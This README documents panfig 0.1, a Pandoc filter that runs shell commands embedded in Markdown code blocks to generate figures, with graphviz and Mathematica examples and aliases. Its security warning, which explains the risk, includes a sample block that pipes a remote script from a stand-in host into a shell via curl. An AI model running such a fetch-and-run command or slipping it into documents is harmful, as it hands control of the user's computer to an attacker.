panfig 0.1

A framework for describing figures in Pandoc documents

Pandoc Figure Framework
=======================

This library lets you write self-contained Pandoc/Markdown files that contain figures.

Without Panfig, if you want figures, you have to save the image files, and the scripts that generate them, alongside the document. You'd probably even have a Make system to ensure that all the figures were up to date. What a hassle!

With Panfig, the document stands alone. It describes how to generate the images, and they're generated when the document is compiled to HTML (or whatever).

For example, this Markdown code:

Here is a very simple FSM: the "on-off automaton."

~~~~~~~~ {.panfig shell="dot -Tpng -o {path}"}
digraph G {
on [style=filled];
on -> off;
off -> on;
}
~~~~~~~~

generates HTML that looks like this:

> Here is a very simple FSM: the "on-off automaton."
>
> 



Security: for God's sake, be careful.
-------------------------------------

I am putting this up near the top because you should care.
**Panfig executes arbitrary code contained in the document being compiled. If you invoked Pandoc (+Panfig) on the following document, it would own your computer.**


~~~~~~~~ { .panfig shell="curl http://example.com/evil_exploit.sh | sh"}
~~~~~~~~


How do I use it?
----------------

First things, of course, first: `pip install panfig`. (I don't actually have this on PyPI yet, so you'll have to download this and run `python setup.py` yourself.)

In general terms: where you want a figure, you write a code block that describes how to generate an image file. Then you compile the document with `pandoc --filter panfig ...`, and Panfig will generate the image and replace the code block with it.

More specifically: to make a figure, you use Pandoc/Markdown's fenced-code-block syntax to designate a code block as a Panfig block, by giving it the `.panfig` class, and also specifying a shell command that generates the image, like so:

~~~~~~~~ { .panfig shell="dot -Tpng -o {path}" }
digraph G {
on -> off;
off -> on;
}
~~~~~~~~

The `sh` attribute, as you see, is a shell command. The contents of the block are piped to its standard input.


### Aliases

If you get tired of writing the same command over and over, you can use aliases to make things more concise. For example:

- Without aliases:

~~~~~~~~ { .panfig shell="(cat; echo ''; echo 'Export[$CommandLine[[2]], %, \"png\"]') | MathKernel {path}" }
Plot[Sin[x], {x, 0, 2*Pi}]
~~~~~~~~

- With aliases:

~~~~~~~~ { .panfig-aliases }
{"mma": {"shell": "(cat; echo ''; echo 'Export[$CommandLine[[2]], %, \"png\"]') | MathKernel {path}"}}
~~~~~~~~

~~~~~~~~ { .panfig alias=mma }
Plot[Sin[x], {x, 0, 2*Pi}]
~~~~~~~~